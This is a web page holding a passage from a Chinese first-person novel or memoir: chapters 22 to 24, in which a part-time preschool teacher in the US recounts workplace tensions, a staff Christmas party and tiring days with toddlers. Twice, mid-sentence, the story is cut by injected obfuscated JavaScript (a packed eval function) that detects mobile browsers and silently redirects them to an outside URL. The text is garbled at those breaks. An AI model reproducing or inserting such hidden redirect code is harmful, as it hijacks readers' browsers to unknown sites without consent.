琪琪是个早产儿,和其他孩子不太一样,有一天天气很暖和我便没让琪琪穿雪裤,结果被卡伦说了,后来回教室帮琪琪换上雪裤出门碰见南希,她又叮嘱我把琪琪衣服上的帽兜戴起来,还有昨天琪琪不听话自己往厕所跑卡伦反而让我跟着她,我想让南希和卡伦知道,我之前做的让她们觉得不到位的地方不是因为我不配合或能力差,而是因为我不了解情况。 卡伦连忙又很热情地跟我解释了一下,却并没有更多信息,只是说琪琪的肚子上有一个管子,有时她会说肚子疼,但是无需担心。 嘉娜又在一旁补充:“有什么问题就说出来,别等。” 南希也笑着道:“我很高兴你能问这些问题。” 我笑着点点头,大家笑作一团,曼达居然也装模作样地向我露出一脸充满赞赏和期许的笑容,我看了她一眼,好像也在对她笑,但立马将目光移开,心里恶心得不行。 离开南希的办公室,心里却怨气冲天,别人可以把我说出的事实强塞回我嘴里逼我咽下去,我内心真实不虚受到不公正对待的感受却不会骗我,整件事情实质上就是:我长期受到曼达的恶劣对待,忍无可忍反抗了一下便招来她的小圈子打击报复穿小鞋,无奈之下向卡伦反映情况又遭曼达在教师会议上倒打一耙,为自己辩驳时还招致班上所有老师集体众口一词指责我的不是,虽然她们非常克制点到即止,我也闪得快没给她们更多伤害我的机会。 在操场上,心里憋着一股怨气,身体如坠冰窟,我想如果情绪有颜色的话,我的周围一定笼罩着一团黑气。 杜冰坐到我常坐的地方,我索性坐到卡伦总爱坐的长椅上——平时我总是识趣地把长椅留给卡伦和其他老师,但没有规定兼职老师不能坐长椅,今天我就要让她们明白,不要把别人的忍让当成软弱,把别人的谦让当作理所应当。 卡伦和曼达随后来到操场,她俩心知冤屈了我,似乎都有些怕我,围在杜冰附近站着,离我远远的——她们虽然个个说起话来义正词严一套一套的,其实色厉内荏内心懦弱,所以才总是抱作一团。 我突然再也不觉得孤单弱势,一个人坐着倒也自在,什么都不在乎了——怕她们什么呢?她们又能把我怎样呢?反正大家脸皮已经撕破,我以后只要工作做得让她们没什么话说,再也不用看她们脸色,倒好过之前不明不白受她们三个人的挤兑和猜疑;既然找茬说我能力差不管孩子,好啊,我从今天开始便管给她们看,再也不用束手束脚,反而还能显示我的权威。 这时几个孩子跑到我身边,嘴里发出“皮卡皮卡”的声音,告诉我:“这是皮卡丘打招呼的方式。” 我笑着回应他们,内心突然一片清明——和那些内心充满算计歪曲事实的小人比起来,小孩子身上的美德实在太可贵了:总是善良,总是天真,总是真诚,毫无偏见,毫无傲慢,同样作为弱势群体常常像我一样蒙受冤屈无法开口为自己辩白,却又总能迅速遗忘自得其乐——我在这里的目的原本只是为了他们啊! 下班前刚好轮到我和曼达留守,她带孩子做活动读故事的时候我就大声管教不听话的孩子,根本不在乎是否打扰到她,下班时曼达堆着笑和我说再见,我也堆着笑和她说再见。 第二天带我这组孩子去操场之前特意一遍遍确认了所有孩子的穿戴是否齐全——多事之秋,我可不想让人抓住把柄。 刚到操场一会儿曼达也带着第二组出来了,我还暗暗惊叹她给孩子穿戴的速度竟如此之快,看来能力确实比我强。 不过很快就看见卡伦一脸不高兴地从教室出来把第二组的两个孩子带回去穿冬靴,其中一个孩子甚至只穿着洞洞鞋就被曼达带出来了。过了一会儿卡伦又拎着另外两双冬靴出现在操场上,委婉地笑着冲曼达喊道:“我找到了另外两个孩子的靴子!”曼达则一脸懵圈的样子,似乎有点不在状态——她们才在教师会议上指责我能力不足,这两天曼达的工作就屡屡失误,卡伦虽然一直跟在后面帮她弥补也难以掩盖,这打脸来得也太快了! 从操场回去带各组孩子上厕所的时候曼达又把她那组孩子丢给我,居然还厚着脸皮问我需不需要她帮忙,这回我毫不客气地对她说:“我宁愿照顾自己组的孩子。” 她原先还挤着笑的脸立刻拉下来,很不乐意地在厕所里的椅子上坐下。 我知道自己肯定又得罪她了,她今天回去对其他人肯定又有得说了,可是我才不管她高不高兴呢,反正这件事已经向卡伦报备过了,是卡伦让我说“不”的。 回到家心里竟不似前几日那般难过,仿佛第二只鞋子落了地,而且现在势能在我这边。 80.第二十二章 南希家的圣诞派对 学校每年临近圣诞节都会在南希家举办一场教师派对,聘请专业厨师用高档食材现场制作新鲜美味的食物和餐后甜点供应,并有专门的服务人员为大家服务,作为对辛劳了一年的老师们的回馈以及情感联络,大家还会抽签互赠圣诞礼物,这已经成了幼儿园多年的传统。 去年的圣诞派对我早早就去了,却找不到人说话十分尴尬,今年我吸取教训,下班后先回家换了一身正式的衣服,又仔细补了妆并戴上闪亮的项链和耳环——刚经历被班上老师集体指责的难堪,输人不输阵,今晚我可不能示弱。 临出门前一只耳环突然坏了,修了一会儿没修好,又临时换了一副,耽搁了些时间,到南希家的时候发现绝大多数人已经到了,自助餐形式的晚餐也进行到了一半。 南希见到我非常热情地和我贴面拥抱,对我说:“我很高兴你能来,你找到我家是否还顺利?”又夸我的衣服好看,就好像我是她一位很要好的私人朋友。 我觉得南希这么问是看我来得晚,担心我因为教师会议上的事有心结不来了,不知道为什么我对南希竟一点也不生气,仍是很喜欢,和她拥抱时笑容也是发自心底的。 南希的小房子很可爱,每一个房间都粉刷成不同的马卡龙色,墙上装饰着节日的彩色灯串,此时挤满了宾客,大部分是学校的教职工,少数是南希的朋友。 南希见我在欣赏她的房间,解释道:“以前我的所有房间都刷成统一的乳白色,年纪大了反而喜欢多一些色彩。” 厨房里两位身穿白色厨师服的专业厨师正在忙碌着,餐桌上摆满了各种可口的食物,今年的主菜有羊排和基围虾,某种食物如果出现短缺服务人员就会及时补上。 我拿了一盘食物来到小客厅,杜冰正坐在沙发上,我走过去想向她示好和她聊聊天,因为心里对她并没有敌意,不想因为曼达而影响和她的关系,可她不知是否巧合,一见到我就站起来走开了。 坐在她旁边的小班老师苏珊问:“你要离开吗?” 杜冰不动声色地回答:“别担心,我会回来的。”却再也没回来。 过了一会儿我转到别的房间,杜冰刚巧也在那个房间,我找她搭话,她虽然也回答,却很快又离开了,之后几乎我到哪个房间她就会离开那个房间,我由此断定杜冰果然是在躲着我,心想曼达一定又火速在她面前说了我的坏话,她现在对我的厌恶之情已经令她无法忍受和我待在同一个空间了——其实我一直挺欣赏杜冰的,觉得她是那种讨厌一个人顶多挂在脸上躲开却不会在背后使手段捅刀子的人,所以并不太担心,杜冰唯一的弱点可能就是对坏人曼达无条件的支持和纵容吧。 卡伦几乎整晚都在客厅里和几个交情比较好的中年老师凑成一堆,嘉娜因为住得远已经提前回家了,曼达则一直在餐厅里夸张地笑着与几位年轻女老师高谈阔论。 南希的小房子里一下子挤了几十号人闹哄哄的,我也有点醺醺然像喝醉了酒,这几天被班里的事折磨得心力交瘁,借着这醺醺然正好豁出去了,一晚上都积极热情地主动找各色人等聊天交谈,一泄这些天在班上受的窝囊气。 在这个过程中我发现平时在一起工作的老师们原来私底下泾渭分明:中年教师与中年教师扎堆,老教师与老教师一起,年轻教师和年轻教师一块儿,大多数老师对像我这样没什么资历的兼职老师态度敷衍,尤其是一些未经历多少世事磨练的青年老师,骨子里似乎有种傲慢的优越感,很难搭得上话;而比较容易说话的人则有三类:一类是同样属于少数和弱势群体的其他兼职老师和几位男教职工;一类是学校里德高望重脾气比较好的领导或老员工,比如南希、韦尔和学前班的班主任;一类是南希请来的几位素质高、性格好的老朋友——这种场合仿佛一面照妖镜,大家的圈层一目了然。 在不同的房间转来转去,一位六十来岁的女士兴致勃勃地凑过来和我聊天,可能是有些喝醉了,像个孩子一样咯咯地笑着,全无心机地问我从哪里来,对我的话表现出十分感兴趣的样子,对我说:“我们学校有几个从中国来的交换学生,却起了些很老派的英文名字。” 这时她的丈夫,一位下巴上的白胡子修剪得整整齐齐的老先生站过来担忧地看着她,问我:“她表现得还好吗?” 我这才反应过来她是有些喝大了,微笑着回答:“我喜欢她。” 忍不住喜欢上这位女士,因为此刻的她真实、天真、充满了好奇心,很像个小孩子,好过太多这屋子里充满的傲慢、偏见、小心翼翼、固步自封和尴尬——我突然有点理解中国人为什么要在酒桌上谈生意了,可能把人灌醉才能让戴着面具的成年人露出本来面目吧。 这时到了交换圣诞礼物的环节,我们的谈话也被打断了,我心里还在想着待会儿要问问这位可爱的女士叫什么名字。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16479330|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>今年送我礼物的老师是凯莉,礼物外包装上用好看的花体字写着我的名字,还画了热情的笑脸和很多颗爱心,她一改刚才搭不上话的冷漠,热情地上来和我拥抱。 因为有些醺醺然又有些脸盲,我错将凯莉当成了苏珊,笑着对她说:“一直不知道你礼物上的缩写‘S.S.’是什么意思,原来是‘苏珊’。” 坐在旁边的卡伦知道我弄错了,插了一句:“那是‘神秘送礼人(Secret Sender)’的意思。”——看来她作为有十几年教龄的幼儿园老师耳听八方的能力果然不虚。 我这才反应过来,还好没有继续说出“真有趣,去年是我送你礼物,今年是你送我礼物”这样的蠢话来,而凯莉也看似并不介意。 我送礼物的老师今天没来,据说是生病了,略看了一下,没来的还有妮可,去年她来了,我们还聊了会儿天,今年干脆不来了,我猜她在学校待得也很不开心;轮值老师若拉平时总是一副胆小怕事能躲就躲的样子,不知道和其他老师有什么仇什么怨经历过什么样的心理创伤,今晚也没来。 拎着凯莉送的礼物站在人群里,南希突然悄无声息地滑到我身后对我说:“刚刚和你说话的是我一位非常要好的朋友,她的名字叫丽莎。” 那一刻我怀疑南希不仅脑袋后面长了眼睛,还有读心术。 终于体面地耗到大家交换完礼物,我打电话让老公开车来接,然后去向南希告别。这时厨房里的巧克力蛋糕刚好出炉,空气里弥漫着一股香甜,南希让我吃完甜点再走,我解释老公在外面等我,她又坚持让我带一块蛋糕,给老公也带一块,我不忍拂她的好意,回厨房拿了两块蛋糕,她又亲自到厨房拿了一张锡箔纸帮我把装蛋糕的纸盘子包好。 南希一直把我送到门外,笑着说:“我很高兴看到你解决了问题。” 我知道她指的是教师会议上的事,也笑着和她拥抱道别,对她说:“下周一见。” 从南希家出来坐进车里,透过车窗看见一位男老师也出来了,看来也是尴尬的少数派,不想多待。 回想今晚南希特意与我的几次互动,难道她心里是知道我的委屈的,教师会议上她的处理方式不是糊涂而是权衡,所以今天才私下里格外给我一些心理上的补偿?如果真如她所说她的脑袋后面长了眼睛,希望她能够放下刻板印象,通过今晚的观察看到一个更加全面、真实的我。 81.第二十三章 下雪了 今年天气特别不正常,整个冬天几乎没怎么好好下过雪,气温一直在零上十几摄氏度和零下十几摄氏度之间跳来跳去,今天却毫无征兆地下起了雪。 下午带孩子们出去玩雪,整个世界被新雪覆盖,非常漂亮。美国北方的雪像面粉似的十分干燥,很难搓成团,因此也难以做成雪球享受堆雪人或打雪仗的乐趣,我就双脚交替在雪地里踩出拖拉机轮胎的轨迹给孩子们玩,又伸出羽绒服的袖子接住雪花带他们观察每一片雪花独特的六角形图案。 这时卡伦从教室里拿来一瓶枫叶糖浆、一摞一次性纸杯和一些塑料小勺子,熟练地用纸杯从灌木丛上舀起大半杯干净的新雪,浇上枫叶糖浆,再插上勺子,就成了天然的冰沙,分给每个小朋友一杯——我从未见过还可以这样“赏”雪,觉得实在是个新奇有趣的好主意。 大部分孩子都玩得很开心,只有扎克把自己蜷缩在沙池木沿和铁丝围墙之间的缝隙里,半张着嘴,目光有些呆滞地望着远方,我想如果地上有个洞的话他只怕恨不得钻进去躲起来。 扎克是至今班上唯一还戴着尿布的孩子,并且因为过敏长了一屁股湿疹,最近老师们为了帮他戒掉尿布让他每隔二十分钟上一次厕所,可他还是经常控制不住尿在裤子里,现在天一冷情况就更严重了,他又特别怕冷,越冷就越不想动,越不想动就越冷,我想扎克现在的人生一定水深火热、暗无天日,不禁对他充满了同情。 因为我自己也特别怕冷,有些感同身受,所以当其他老师叫他从缝隙里出来时就维护他说:“他怕冷。” 卡伦听闻反而命令扎克:“扎克,起来去跑几圈,跑跑就不冷了!” 扎克只得被迫从藏身的缝隙里出来去跑步,没想到跑了几圈真的不冷了。 温妮因为穿得太少冻得哭了起来,我为了安慰她就说:“我要是冻得太难受也会想哭的。” 她很认真地回应道:“对,当很冷的时候我的大脑就会告诉我现在是哭的时候了。” 我不禁被她可爱的话逗笑了。 温妮是个非常可爱的小姑娘,一头淡黄色的小卷发,圆圆的脸蛋圆圆的眼睛圆圆的鼻子,一张小嘴巴总是吧嗒吧嗒说个不停,我常常会忍不住摸一摸她像圆苹果似的脸蛋,就连班上一个十分叛逆让所有老师头疼的男孩米罗都评价:“温妮是班上最可爱的。” 有一天温妮对我说“我爱你”,我说“我也爱你”,然后她问:“你为什么总是摸我的脸?” 我回答:“因为这是我对你表达爱的方式。” 她认真地说:“噢。” 其实我心里真正的想法是:“因为你实在太可爱了,我忍不住呀!” 接连下了几天大雪,周末两天连着星期一的长周末不上班,星期二回到学校,小操场上靠着铁丝围墙已经堆起了一个大雪堆,去室外活动前的工作量随着天气变化也骤然增加,为了防止孩子冻伤或着凉必须全副武装,要帮组里的每个孩子穿上外套、雪裤 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我这才意识到温妮只有星期一三五上幼儿园,星期一放假,星期三我请病假,距离上次她见到我已经整整一周,所以她觉得很久没见到我了,不禁很感动。最近和其他老师关系紧张,身体又不舒服,竟忽略了周围孩子对我的爱,就比如眼前这个小姑娘,一周没见对她来说仿佛过了一百万年那么久,醒来一见到我就来表达对我的想念。 我怜爱地向温妮伸出双臂:“来,抱抱。”然后把她搂进怀里。 孩子的爱就像满园翩翩飞舞的蝴蝶,这里一点,那里一点,不经意间已经悄然落在肩头。 82.第二十四章 内心的风暴 今年天气一直很怪,上星期还冷得像冬天,这几天又热得似酷夏,昨晚突然下起雷阵雨,电闪雷鸣,今天又开始刮风,一直刮到晚上。 自从上次教师会议后,我和班上的几位老师相互间极力和平相处着,惟有杜冰对我的态度还是阴一天阳一天,我知道她是个不会作伪什么都放在脸上的人,因此明白曼达在背后对我的污蔑从未停止过,可是只要大家能够相安无事维持表面上的尊重,我心里的气也渐渐平了,打算翻过旧页,也竭力改进大家对我提出的意见,当然这样事无巨细努力做到完美自然比以前要累很多。 星期四又是教师会议,大家讨论的重点落在包括琪琪在内年龄较小的三个孩子身上,为了表示对班级事务的积极参与,我见缝插针地表达了一些自己的看法,说:“我觉得这三个孩子有一个共同点,就是在不遵守纪律时都是以一种很无辜(innocent)的方式,所以我经常要重复对他们的指令。” 我本意是想和南希探讨一下像这种年纪太小对规则还不理解的孩子,是否应该用一些与其他孩子不同的方式,甚至不强求他们一定要遵守规则,谁知南希还未听我把话说完就打断我:“彦岚,如果孩子不听你的,不要重复指令。” 卡伦忍不住在旁边插了一句:“她不是说不听她的(not listen),而是说无辜(innocent)。” 经卡伦这么一说我才明白耳朵有些重听的南希把我的话听错了,可南希听到卡伦的话还是按照原有的思路继续说下去,我立即明白自己在南希心目中的刻板印象还是没变,仍然只是一个没有经验的菜鸟兼职老师。 下午是一年一度与家长的联谊活动,几位老师连续几天利用空闲时间准备了许多小食,包括香蕉蛋糕、星星形状的糖霜饼干、肉桂面包球和薯饼,不得不说她们在这方面还是很能干的,我称赞了香蕉蛋糕和星星饼干,嘉娜很高兴地告诉我蛋糕是她做的,饼干是卡伦做的。 活动快结束时杜冰和曼达开始收拾桌上的食物,我也赶紧找活干,收拾杯盘擦桌子扫地,其实我是个看见别人做事自己闲着会不好意思的人,这些都是平常一定会帮忙的事,可是现在却尤其要刻意卖力地做,只怕稍有懈怠就被解读为不合群、不帮忙、没眼力见,被人时刻猜忌挑剔,做人也真是累! 打扫完卫生已经超过下班时间五分钟,我向所有老师说再见,三人小组这时正聚在教室一角不知道在商量什么,杜冰和曼达理都没理我,卡伦背对着我说了声再见,站在我旁边的嘉娜似乎觉得其他人有些过分,特意笑着郑重和我道别。 家长像往年一样例行送给每位老师一张支票和一份小礼物作为答谢,我知道自己算是占了其他老师的便宜,没帮忙做点心又只上大半天班,拿谢礼时却和其他老师一样,于是暗暗决定从明天开始以全新的面貌和一颗不带负累的心投入工作。 然而第二天却成了继与曼达爆发冲突之后我过得最艰难的一天,特别多孩子不是尿裤子就是拉裤子,从午睡后我就一直在厕所里给他们换裤子,下午在操场上带二十分钟需要上一次厕所的扎克和另一个孩子去用学前班的厕所,刚弄好其他老师又把一个孩子送来,再弄好扎克又回来了,对我说自己刚刚尿了裤子。 我不禁有些发愁,扎克几分钟前才上过厕所什么也没尿出来,现在却尿在裤子里,不仅穿在外面的雪裤湿透,连鞋子也湿了。我只得带他上楼去换,在学校多余的一些童鞋里翻找,连试两双都小了,最后只好给他穿了一双女孩的单皮鞋。 如此一折腾时间已经过去很久,第一组孩子也应该快回教室了,扎克原本就怕冷,现在又没了雪裤穿着单鞋,我怕他出去会冻着,就想索性等第一组进来把扎克交给第一组的老师,我再去带我的第二组孩子进来。 领着扎克回教室放好脏衣服,经过楼门口时正看见卡伦带着一队孩子回来,我一边对扎克说“太好了,第一组回来了”,一边问卡伦:“可不可以把扎克留给你,我去带第二组孩子?” 没想到卡伦一副很不高兴的样子,直接拒绝道:“我的孩子太多了,没办法带扎克。” 我笑着向卡伦解释:“扎克没有雪裤,外面太冷了,如果你的孩子太多我可以帮你带走两个。” 可是卡伦立刻对我说:“他没事,你把他带出去!” 我莫名其妙地在卡伦那里碰了一鼻子灰,不好再说什么,只好带着扎克再次来到操场上,心想卡伦可能见我带扎克上厕所久久不回,以为我在故意磨洋工,肚子里对我有意见——这些老师在教师会议上说得一本正经,让我需要帮助的时候要说出来,我现在倒是需要帮助,还不是为了自己而是为了孩子,结果还不是两句话就把我给顶回来了? 到了操场上我又赶紧陪着笑向曼达解释:“抱歉,扎克的雪裤和鞋子都尿湿了,我给他连试两双学校的鞋都不合适,最后只好找了双女孩鞋给他穿上,所以耽误了些时间。” 曼达满脸堆笑地说:“没关系。” 我开始召集自己组的孩子准备进去,这时曼达过来对我说:“卡伦已经带了一多半孩子回去,剩下的孩子一起进去就行了。” 我担忧地说:“问题是扎克没有雪裤不能在外面多待。” 曼达道:“你也可以先带扎克回去帮卡伦,反正我怎么样都行。” 我犹豫了一下,问其他孩子还有谁着急回去,带了一个女孩和扎克一起先走了。 一边往回走我一边想,刚才卡伦完全可以告诉我她们已经分成了两组,可是她却什么也不跟我说,一副任由我自生自灭的架势,根本没把我当成团队的一员,平时她对曼达和杜冰可完全不是这样,可见上次的那件事根本没有过去,她心里其实一直对我是怀着戒备和敌意的。 回去时卡伦正在教室门口给孩子换衣服,我又连忙陪着笑脸向她解释:“曼达说剩下的孩子她一个人就可以,所以我先回来帮你。” 卡伦板着脸没说话,我积极地帮孩子换衣服,又主动带所有孩子去上厕所,她便老实不客气地回了教室。 不一会儿曼达带着剩下的孩子进来,我又连忙笑着让曼达把换好衣服的孩子直接送来厕所,言下之意因为我耽误了所有人的时间,这算是我竭力所做的弥补,她便满脸堆笑地谢了我,也回了教室。 厕所里一下子聚集了许多孩子,乱哄哄闹嘈嘈的,汤姆站在便池前被我催促了半天却只顾和其他孩子说笑,过了一会儿对我说尿不出来,我于是打发他回教室,好不容易大部分孩子陆续离开,我刚松了口气,汤姆却又被从教室里送回来,原来是拉□□了。 我已经给孩子换了一下午的裤子,此时已是精疲力竭,短短半天之内却两次遇到小孩在厕所里尿不出来、刚离开厕所就拉/尿了一裤子的事,真不知道自己平时对他们是否太慈祥了。 无奈只得强打起精神再给汤姆擦屎换裤子,对他说:“你刚才在厕所不应该只顾着和其他孩子说笑,厕所是上厕所的地方,不是说笑玩闹的地方。” 可是这话说得我自己都有些底气不足,每天午睡后卡伦要求我把第一组孩子留在厕所二十分钟左右,我只好让他们玩玩具读故事,他们可不是潜移默化中把厕所当成了玩乐的地方? 唯一值得安慰的是,一直自卑内向的扎克被妈妈领着经过厕所门口时居然破天荒地笑着跑过来给了我一个拥抱,这可是他从来都不曾做的,我也笑着回抱他,把这当成我幸苦了一下午的小小报偿。 忙到五点半才回到教室,又把教室里的所有杂活都干了,兢兢业业地把卡伦伺候好,下班时总算换来她不那么臭的脸。 可是离开学校后我却感到从未有过的憋屈——下午是其他老师接二连三把孩子往厕所里送我才会耽搁太久无法脱身,扎克刚离开厕所又尿裤子也不是我能控制的事,带扎克去换裤子她们也是知道的,可是不但没有一个人来帮我,还一副全是我的错的模样,我累得半死还不得不满脸陪笑地努力证明自己没有偷懒,简直太岂有此理了! 圣诞节的前三天我几乎一直沉浸在非常糟糕的情绪里,身体上也很疲劳,对什么都提不起劲,仿佛得了抑郁症,感受不到一点过节的喜悦,对整个世界都感到厌倦。我想走出这种不良的情绪,可是越想尽快忘记那些人,放下对她们的厌恶和恐惧,就越是找不到出口。 我的抑郁和恐惧来源于班上几个老师合伙对我的孤立和穿小鞋,来源于她们绝对的话语权和上司的偏颇,来源于一个外国人在异国他乡的无力感,更来源于,我对自己的怀疑,对信念的动摇,我怕自己不好,是自己的问题,我担心老天爷都不站在我这边,于是总是尝试换位思考,硬要把宵小想象成好人而把自己想象成坏人,我的世界观因此颠倒错乱,令我痛苦不堪。 我们很多人从小被严格的要求塑造成了讨好型人格,总是极度在乎别人的看法,害怕被人误解、让人不满,一切总是先从自己身上找原因——其实被人误解又怎样?让人不满又怎样,这世上没有人可能让所有人在所有时间都满意,他们不满又怎样?让他们去死好了! 想通这些,便如狂风吹散了阴霾,心情好多了。 圣诞节后强打起精神回学校继续上班,却因为一件小事内心的天平又一次差点倾覆。 事情缘起于第二天上午全校组织去附近一个农场游玩,我下午上班不参加活动,去年也没觉得怎样,今年新来的大班兼职老师梅里的几句话却令我心动起来,她对我说:“我明天会一起去农场,你去不去?” 我问:“需要征得谁的同意吗?” 她耸耸肩膀:“我只是和班上其他老师说了一下,多个人帮忙总没坏处。” 我觉得能和喜爱的孩子们一起出游也是一件很有意义的事,于是找机会凑到卡伦跟前问:“我明天可以和你们一起去农场吗?” 谁知卡伦竟像看一个大麻烦似的惊恐地瞪着我:“你需要去问行政部门可不可以,比如韦尔和朱丽安。” 我说:“好。”便走开了。 说真的我感觉被深深刺痛了,卡伦的表情让我不小心窥见了她内心对我的排斥和嫌弃,曼达就算给她惹再多麻烦也是她坚实的同盟军,而我却永远是只配被利用的工具人和傻子;另一层令我难受的是全班老师孩子都欢欢喜喜地出游,只有我好像是没有资格多余被剩下的,原本不值一提的东西,却因为唯独没我的份,倒叫人格外介意和难堪起来。 我很后悔突然头脑发热提出这个请求,甚至有些怨梅里为什么要来搅动我原本平静的心,人真是经不起试探,卡伦本来至少还维持着表面上对我的中立,这回一下子漏了馅,而我一直努力保持的平静和尊严也被打破了,本是无所谓的东西,现在倒像在可怜兮兮地乞讨,无异于自取其辱。 这样的事其实已经不是第一次了,去年卡伦和杜冰、曼达剪辑了一段所有孩子的视频在年终活动上放映,我看着觉得很好,想向卡伦拷贝一份作为收藏和对上届孩子的留念,她却用各种谎话对我几番糊弄,就是不给,时间一长我也淡忘了,甚至觉得她除了对孩子脾气大些也算可圈可点,看来我真是个容易健忘的人。 我因为卡伦突然暴露的嫌弃有些心神恍惚,带孩子上厕所时也闷闷地不想说话,后来被一个孩子的一句话给逗乐了,才开心了一点,回教室的路上就打定主意不再询问行政部门去农场的事,就好像嗟来之食,即便勉强去了也没什么意思,自己倒真成了尴尬又多余的人,还是保持原来的工作节奏,轻松快活,何乐不为? 第二天到学校的时候接送孩子们的校车刚从农场回来,我笑着去外面迎接他们,孩子们见到我便如久别重逢,一个个兴奋地朝我奔过来,卡伦跟在后面冲孩子们大声嚷嚷着阻止他们奔跑,自己却突然当着我的面毫无征兆地整个人向前扑倒,情形十分诡异。 通常遇到这种情况,我的第一反应一定是立刻上前扶起摔倒的人,但因为是卡伦,我本能地有些抵触与她有肢体上的接触,甚至因为目睹她出丑而感到尴尬,于是只是做出教师培训里遇到孩子摔倒时的标准动作,袖手询问她“你没事吧”,倒是刚刚才被卡伦嚷嚷的那些孩子立刻像一群小鸟似地围过去问长问短。 卡伦一面说“我没事”,一面坚强地站了起来,膝盖上蹭破了一大块皮。 自从圣诞节之后南希想一出是一出地推出了一些新的流程,我感觉工作量和压力都增加了许多,再也找不到之前轻松自如的节奏,起初几天虽觉疲累尚可应付,这个星期班上唯一认真做事的杜冰得肺炎请了病假,许多事更是压到我肩上,近来身体状况本就不好,偏偏孩子们这几天不知何故总是大呼小叫、精神亢奋,尤其难管,我觉得自己快要被熬干耗尽了,累得连家长来接孩子都没力气向他们微笑打招呼。 星期三又是特别衰的一天,午睡时我很不明智地选择在几个不听话的孩子中间坐下,但很快就后悔了,之后几十分钟我都在和他们斗争,这几个孩子今天特别兴奋,按下葫芦浮起瓢,尤其是琪琪,怎么说都不听,在自己的小床上翻来滚去一刻不停,简直像只发情的兔子,弄得我身心俱疲。 春天还没到,今天的气温却异常高,我穿得比平时少了些,教室里的暖气也跟着停了,几个老师怕热把电风扇开到最大一直吹,我很快就不行了,鼻子痒得不得了,然后开始打喷嚏流鼻涕,下午又在操场上吹了一个多小时的风,情况越来越严重。 偏偏下午分到我这组的几个孩子都是难带的,有午睡时让我身心疲惫的琪琪和梅梅,还有任性不听话的克里斯汀和动作奇慢总是拉□□的扎克。琪琪和梅梅延续午睡时的劲头继续不听话,让她们在去操场前收拾好玩具,讲了几遍也不听,梅梅一副嬉皮笑脸的样子,琪琪则表现得又闷又拗,先是没反应,后来跑开跟我顶“我不想收”,我本来就被过敏性鼻炎弄得头昏脑涨,她这样更令我火大,把她一把抱回散落一地的玩具那里,她干脆一屁股坐在地上闷着头不动,倒好像我在虐待她似的,卡伦恰巧从外面进来,冷眼看着,一副对我的做法不甚赞同的样子。 其他几个孩子这时都穿好了外套在门口等着琪琪,我只好把所有孩子轰回去帮忙整理玩具,等整理好了,我叫一直闷坐在地上的琪琪起来穿外套,她还是不动,我问:“要不要我帮你?”她这才姗姗地起来了。 刚到操场,梅里突然走过来几乎有些气势汹汹地问我:“昨晚的讲座怎么没看见你?”她之前推荐了我一个讲座,以前还常推荐我很远的餐馆,我只好对她说:“昨晚我很累直接回家了。” 因为天气暖和,卡伦让所有孩子在外面玩了很久,我带孩子回教室时已经头昏脑涨浑身无力,不停地打喷嚏,卡伦又离开教室把所有孩子丢给我一个人,偏偏这几天我们班来了一个很不得力的新学生助理,孩子吃完零食需要收拾时他却突然离开,然后再没出现过。 距离下班还剩十五分钟的时候我正忙着写日志,卡伦带领孩子做完集体活动,看着乱成一团的餐桌和地面,很不高兴地开始收拾,一边不阴不阳地对一个孩子说:“今天没一个人收拾餐桌。” 我知道她这话是在说给我听,一边忍着奇痒无比的鼻子和不停喷出的喷嚏一边奋笔疾书完成日志,然后起身迅速帮着一起收拾。 平时我总是把一切弄得井井有条不劳卡伦动一根手指头,今天各种状况身体又不舒服,我实在已经尽力了,她却对我一肚子不满意,临走时我向她道别,她居然理都不理我,反而对一个临时来帮忙什么也不干只知道和孩子玩的轮值老师很客气,我不免感到心寒——人性就是容易欺软怕硬得寸进尺,一张干净的白纸溅上几个墨点必然觉得格外碍眼,若是涂满墨迹反而更容易接受了。 晕晕乎乎地开车回家,在家门口停车时又不慎蹭到后面的铁丝网,崭新的车尾留下了一道擦痕,至此我这倒霉催的一天才算告一段落。 星期四本想趁着开教师会议的时候放松一下,卡伦却临时通知我今天南希不在,她们只是讨论教学计划,让我留在教室不用参加,还让来代班的两个轮值老师中的一个先走。 于是我的噩梦开始了,剩下的一个轮值老师若拉除了看手机和哄睡身边的孩子,其他什么事也不管,许多孩子知道今天班上老师开会,铆足了劲准备“狂欢”,各种离开床铺、聊天、不听话、尿床、要上厕所,搞得我焦头烂额。 洛依和米罗旁若无人地大声交谈,在我出言制止后抬头看了我一眼,停顿了一秒,然后仿佛没听见似地继续他们的卧谈,直到我把洛依的床搬开才消停;米罗今天一直拼命和附近的人说话,先是洛依后是佐拉然后是扎克,被罚没收玩具都没用,照说不误;梅梅各种作,先是哭着要上厕所,从厕所回来就尿床,我给她清理完床铺把她换到旁边床铺上,她却倒头和刚换了位置的洛依搭上话,我叫她睡回去,她嬉皮笑脸根本不听,我让她自己起来换个地方,她摁着毯子不肯动,我一把把她抱回去,她立即皱着一张脸委屈地哭起来——这些小屁孩,平时都是被哄惯的,不守规矩招致了后果还不肯承担,真是令人头疼,幸好琪琪今天睡着了,否则简直无法想象。 若拉连着哄睡了两个孩子,我却无论坐在哪里都无济于事,反而更加激起身边孩子的精神,越说他们越来劲,越发显得我的无能和气急败坏——经过在幼儿园一年半的锻炼,以为自己已经是老司机了,没想到现在却又彻底被打回曾经面对安卡的噩梦里。 我不禁疑惑,难道是自己平时对孩子太和颜悦色了,以致在他们面前毫无威信?卡伦在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483822|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 